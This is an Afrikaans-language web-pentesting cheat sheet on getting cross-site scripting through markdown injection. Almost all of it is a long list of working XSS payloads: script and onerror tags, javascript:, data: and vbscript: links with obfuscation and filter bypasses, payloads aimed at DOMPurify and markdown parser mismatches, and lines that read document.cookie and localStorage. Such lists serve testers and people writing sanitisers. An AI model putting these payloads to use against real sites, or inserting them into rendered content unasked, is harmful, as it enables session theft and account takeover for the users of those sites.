As jy die kans het om kode in markdown in te voeg, is daar 'n paar opsies wat jy kan gebruik om 'n XSS te aktiveer wanneer die kode geïnterpreteer word.
HTML-tags
Die mees algemene manier om XSS in markdown te kry, is om algemene HTML-tags in te voeg wat javascript uitvoer, omdat verskeie markdown interpreteerders ook HTML sal aanvaar.
<!-- XSS with regular tags --><script>alert(1)</script><imgsrc=xonerror=alert(1) />
As HTML-tags nie 'n opsie is nie, kan jy altyd probeer om met markdown-sintaks te speel:
<!-- markdow link to XSS, this usually always work but it requires interaction -->[a](javascript:prompt(document.cookie))<!-- Other links attacks with some bypasses -->[Basic](javascript:alert('Basic'))[Local Storage](javascript:alert(JSON.stringify(localStorage)))[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))[URL](javascript://www.google.com%0Aalert('URL'))[In Quotes]('javascript:alert("InQuotes")')[a](j a v a s c r i p t:prompt(document.cookie))[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:window.onerror=alert;throw%201)
Die volgende kode is sanitizing HTML invoer en dan dit aan die markdown parser deurgee, dan kan XSS geaktiveer word deur misinterpretasies tussen Markdown en DOMPurify.
<!--Fuzzing examples from- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields-->[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))![a](javascript:prompt(document.cookie))\<javascript:prompt(document.cookie)><javascript:alert('XSS')>![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\[citelol]: (javascript:prompt(document.cookie))[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[test](javascript://%0d%0aprompt(1))[test](javascript://%0d%0aprompt(1);com)[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[clickme](vbscript:alert(document.domain))_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>[text](http://danlec.com " [@danlec](/danlec) ")[a](javascript:this;alert(1))[a](javascript:this;alert(1))[a](javascript:this;alert(1))[a](Javascript:alert(1))[a](Javas%26%2399;ript:alert(1))[a](javascript:alert(1))[a](javascript:confirm(1)[a](javascript://www.google.com%0Aprompt(1))[a](javascript://%0d%0aconfirm(1);com)[a](javascript:window.onerror=confirm;throw%201)[a](javascript:alert(document.domain))[a](javascript://www.google.com%0Aalert(1))[a]('javascript:alert("1")')[a](JaVaScRiPt:alert(1))![a](https://www.google.com/image.png"onload="alert(1))![a]("onerror="alert(1))</http://<?php\><\h1\><script:script>confirm(2)[XSS](.alert(1);)[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])[a](javascript:new%20Function`al\ert\`1\``;)[XSS](javascript:prompt(document.cookie))[XSS](j a v a s c r i p t:prompt(document.cookie))[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))[XSS](javascript:window.onerror=alert;throw%20document.cookie)[XSS](javascript://%0d%0aprompt(1))[XSS](javascript://%0d%0aprompt(1);com)[XSS](javascript:window.onerror=alert;throw%20document.cookie)[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[XSS](vbscript:alert(document.domain))[XSS](javascript:this;alert(1))[XSS](javascript:this;alert(1))[XSS](javascript:this;alert(1))[XSS](Javascript:alert(1))[XSS](Javas%26%2399;ript:alert(1))[XSS](javascript:alert(1))[XSS](javascript:confirm(1)[XSS](javascript://www.google.com%0Aprompt(1))[XSS](javascript://%0d%0aconfirm(1);com)[XSS](javascript:window.onerror=confirm;throw%201)[XSS](�javascript:alert(document.domain))![XSS](javascript:prompt(document.cookie))\![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\![XSS'"`onerror=prompt(document.cookie)](x)\